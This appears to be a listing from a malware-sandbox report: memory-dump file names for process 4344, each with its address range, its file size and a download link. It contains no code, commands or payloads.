memory/4344-51-0x0000000075350000-0x0000000075B00000-memory.dmp

Filesize
7.7MB

Download
memory/4344-53-0x000000007535E000-0x000000007535F000-memory.dmp

Filesize
4KB

Download
memory/4344-54-0x0000000075350000-0x0000000075B00000-memory.dmp

Filesize
7.7MB

Download
memory/4344-52-0x0000000008700000-0x000000000B6C7000-memory.dmp

Filesize
47.8MB

Download
memory/4344-55-0x0000000075350000-0x0000000075B00000-memory.dmp

Filesize
7.7MB

Download
memory/4344-56-0x0000000075350000-0x0000000075B00000-memory.dmp

Filesize
7.7MB

Download
memory/4344-58-0x0000000075350000-0x0000000075B00000-memory.dmp

Filesize
7.7MB

Download
memory/4344-59-0x0000000075350000-0x0000000075B00000-memory.dmp

Filesize
7.7MB

Download
memory/4344-45-0x0000000008150000-0x00000000086F4000-memory.dmp

Filesize
5.6MB

Download
memory/4344-44-0x0000000006ED0000-0x0000000006EF2000-memory.dmp

Filesize
136KB

Download
memory/4344-43-0x0000000006F40000-0x0000000006FD6000-memory.dmp

Filesize
600KB

Download
memory/4344-42-0x0000000006220000-0x000000000623A000-memory.dmp

Filesize
104KB

Download
memory/4344-41-0x0000000007520000-0x0000000007B9A000-memory.dmp

Filesize
6.5MB

Download
memory/4344-40-0x0000000006290000-0x00000000062DC000-memory.dmp

Filesize
304KB

Download
memory/4344-39-0x0000000005CC0000-0x0000000005CDE000-memory.dmp

Filesize
120KB

Download
memory/4344-37-0x0000000005690000-0x00000000059E4000-memory.dmp

Filesize
3.3MB

Download
memory/4344-27-0x0000000005560000-0x00000000055C6000-memory.dmp

Filesize
408KB

Download
memory/4344-26-0x0000000004EA0000-0x0000000004F06000-memory.dmp

Filesize
408KB

Download
memory/4344-25-0x0000000004E00000-0x0000000004E22000-memory.dmp

Filesize
136KB

Download
memory/4344-24-0x0000000004F30000-0x0000000005558000-memory.dmp

Filesize
6.2MB

Download
memory/4344-23-0x0000000075350000-0x0000000075B00000-memory.dmp

Filesize
7.7MB

Download
memory/4344-22-0x00000000023D0000-0x0000000002406000-memory.dmp

Filesize
216KB

Download
memory/4344-21-0x000000007535E000-0x000000007535F000-memory.dmp

Filesize
4KB

Download